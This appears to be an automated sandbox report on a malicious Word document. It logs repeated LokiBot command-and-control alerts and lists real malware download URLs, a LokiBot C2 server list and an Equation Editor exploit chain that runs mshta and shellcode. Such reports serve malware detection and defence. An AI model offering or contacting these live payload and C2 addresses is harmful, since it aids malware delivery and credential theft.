2024-11-20T11:08:25.550254+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:26.451548+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:27.342170+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:28.290956+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.162280+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:30.056656+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.942889+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:31.861944+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:32.814812+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:33.725738+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:34.631910+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:35.612589+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:36.666299+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:37.600393+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:38.858062+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:39.816478+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:40.691052+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:41.600005+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:42.470301+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:43.523104+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:44.560565+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:45.440851+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:46.326513+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:47.362901+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:48.429055+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:49.331075+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:50.269289+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:51.465535+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:52.406148+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:53.449322+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:54.344079+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:55.469398+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:56.364430+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.229777+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:58.136926+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:59.170582+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.196735+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:01.097365+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.972570+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:02.864900+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:03.749038+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:04.621438+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:05.555632+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:06.505715+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:07.388227+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:08.631914+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:09.510263+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:10.381526+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:11.269627+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.154909+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:13.118072+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:14.021635+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:15.054347+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.957636+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:16.974548+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:17.855870+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:19.681406+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:20.573695+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:21.471180+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:22.364648+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:23.410559+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:24.567819+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:26.583371+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:27.798263+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:28.872433+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:29.853943+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:30.933082+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:31.828472+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:32.713977+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:33.926911+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:34.827985+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:35.811112+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:36.907516+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:37.827332+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:38.717822+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:39.652336+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:40.609403+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:41.549340+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:42.611715+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:43.638686+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:44.672058+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:45.977790+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:47.076413+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:48.084264+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.976620+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:49.991081+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:50.896158+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:51.906530+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:53.992288+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:55.237642+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:56.312045+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:57.430146+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:58.398091+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:59.662601+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:00.565538+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:01.472851+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:02.341419+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:03.579344+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:04.613405+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:05.653629+0100	2021641	1	A Network Trojan was detected	192.168.2.22	49273	94.156.177.41	80	TCP

ETPRO MALWARE LokiBot Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T11:08:17.124071+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49165	94.156.177.41	80	TCP
2024-11-20T11:08:17.934139+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49166	94.156.177.41	80	TCP
2024-11-20T11:08:18.846126+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49167	94.156.177.41	80	TCP
2024-11-20T11:08:19.737168+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49168	94.156.177.41	80	TCP
2024-11-20T11:08:20.648933+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49169	94.156.177.41	80	TCP
2024-11-20T11:08:21.561435+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49170	94.156.177.41	80	TCP
2024-11-20T11:08:22.587777+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49171	94.156.177.41	80	TCP
2024-11-20T11:08:23.789922+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49172	94.156.177.41	80	TCP
2024-11-20T11:08:24.629607+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49173	94.156.177.41	80	TCP
2024-11-20T11:08:25.550254+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49174	94.156.177.41	80	TCP
2024-11-20T11:08:26.451548+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49175	94.156.177.41	80	TCP
2024-11-20T11:08:27.342170+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49176	94.156.177.41	80	TCP
2024-11-20T11:08:28.290956+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T11:08:29.162280+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T11:08:30.056656+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.41	80	TCP
2024-11-20T11:08:30.942889+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.41	80	TCP
2024-11-20T11:08:31.861944+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.41	80	TCP
2024-11-20T11:08:32.814812+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T11:08:33.725738+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T11:08:34.631910+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.41	80	TCP
2024-11-20T11:08:35.612589+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T11:08:36.666299+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T11:08:37.600393+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T11:08:38.858062+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T11:08:39.816478+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T11:08:40.691052+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T11:08:41.600005+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T11:08:42.470301+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T11:08:43.523104+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T11:08:44.560565+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T11:08:45.440851+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T11:08:46.326513+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T11:08:47.362901+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T11:08:48.429055+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T11:08:49.331075+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T11:08:50.269289+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T11:08:51.465535+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T11:08:52.406148+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T11:08:53.449322+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T11:08:54.344079+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T11:08:55.469398+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T11:08:56.364430+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T11:08:57.229777+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T11:08:58.136926+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T11:08:59.170582+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T11:09:00.196735+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T11:09:01.097365+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T11:09:01.972570+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T11:09:02.864900+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T11:09:03.749038+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T11:09:04.621438+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T11:09:05.555632+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T11:09:06.505715+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T11:09:07.388227+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T11:09:08.631914+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T11:09:09.510263+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T11:09:10.381526+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T11:09:11.269627+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T11:09:12.154909+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T11:09:13.118072+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T11:09:14.021635+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T11:09:15.054347+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T11:09:15.957636+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T11:09:16.974548+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T11:09:17.855870+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T11:09:19.681406+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T11:09:20.573695+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T11:09:21.471180+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T11:09:22.364648+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T11:09:23.410559+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T11:09:24.567819+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T11:09:26.583371+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T11:09:27.798263+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T11:09:28.872433+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T11:09:29.853943+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T11:09:30.933082+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T11:09:31.828472+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T11:09:32.713977+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T11:09:33.926911+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T11:09:34.827985+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T11:09:35.811112+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T11:09:36.907516+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T11:09:37.827332+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T11:09:38.717822+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP
2024-11-20T11:09:39.652336+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.41	80	TCP
2024-11-20T11:09:40.609403+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.41	80	TCP
2024-11-20T11:09:41.549340+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.41	80	TCP
2024-11-20T11:09:42.611715+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.41	80	TCP
2024-11-20T11:09:43.638686+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.41	80	TCP
2024-11-20T11:09:44.672058+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.41	80	TCP
2024-11-20T11:09:45.977790+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.41	80	TCP
2024-11-20T11:09:47.076413+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.41	80	TCP
2024-11-20T11:09:48.084264+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49257	94.156.177.41	80	TCP
2024-11-20T11:09:48.976620+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49258	94.156.177.41	80	TCP
2024-11-20T11:09:49.991081+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49259	94.156.177.41	80	TCP
2024-11-20T11:09:50.896158+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49260	94.156.177.41	80	TCP
2024-11-20T11:09:51.906530+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49261	94.156.177.41	80	TCP
2024-11-20T11:09:53.992288+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49262	94.156.177.41	80	TCP
2024-11-20T11:09:55.237642+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49263	94.156.177.41	80	TCP
2024-11-20T11:09:56.312045+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49264	94.156.177.41	80	TCP
2024-11-20T11:09:57.430146+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49265	94.156.177.41	80	TCP
2024-11-20T11:09:58.398091+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49266	94.156.177.41	80	TCP
2024-11-20T11:09:59.662601+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49267	94.156.177.41	80	TCP
2024-11-20T11:10:00.565538+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49268	94.156.177.41	80	TCP
2024-11-20T11:10:01.472851+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49269	94.156.177.41	80	TCP
2024-11-20T11:10:02.341419+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49270	94.156.177.41	80	TCP
2024-11-20T11:10:03.579344+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49271	94.156.177.41	80	TCP
2024-11-20T11:10:04.613405+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49272	94.156.177.41	80	TCP
2024-11-20T11:10:05.653629+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49273	94.156.177.41	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: stthigns.doc

Avira: detected

Antivirus detection for URL or domain

Source: http://94.156.177.41/maxzi/five/fre.php	Avira URL Cloud: Label: malware
Source: http://66.63.187.231/xampp/wer/goodtoseeuthatgreatthingswithentirethingsgreatfor.hta	Avira URL Cloud: Label: malware
Source: http://66.63.187.231/33/caspol.exe	Avira URL Cloud: Label: malware
Source: 94.156.177.41/maxzi/five/fre.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306899
Source: C:\Users\user\AppData\Roaming\wininit.exe	Avira: detection malicious, Label: HEUR/AGEN.1306899

Found malware configuration

Source: 0000000D.00000002.392918350.00000000028DA000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/maxzi/five/fre.php"]}

Multi AV Scanner detection for submitted file

Source: stthigns.doc

ReversingLabs: Detection: 50%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wininit.exe	Joe Sandbox ML: detected

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 66.63.187.231 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\mshta.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\mshta.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: p7C:\Users\user\AppData\Local\Temp\4vzopkvk\4vzopkvk.pdb source: powershell.exe, 00000006.00000002.387368019.0000000002831000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 15_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

15_2_00403D74

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0354059C ShellExecuteW,ExitProcess,	2_2_0354059C
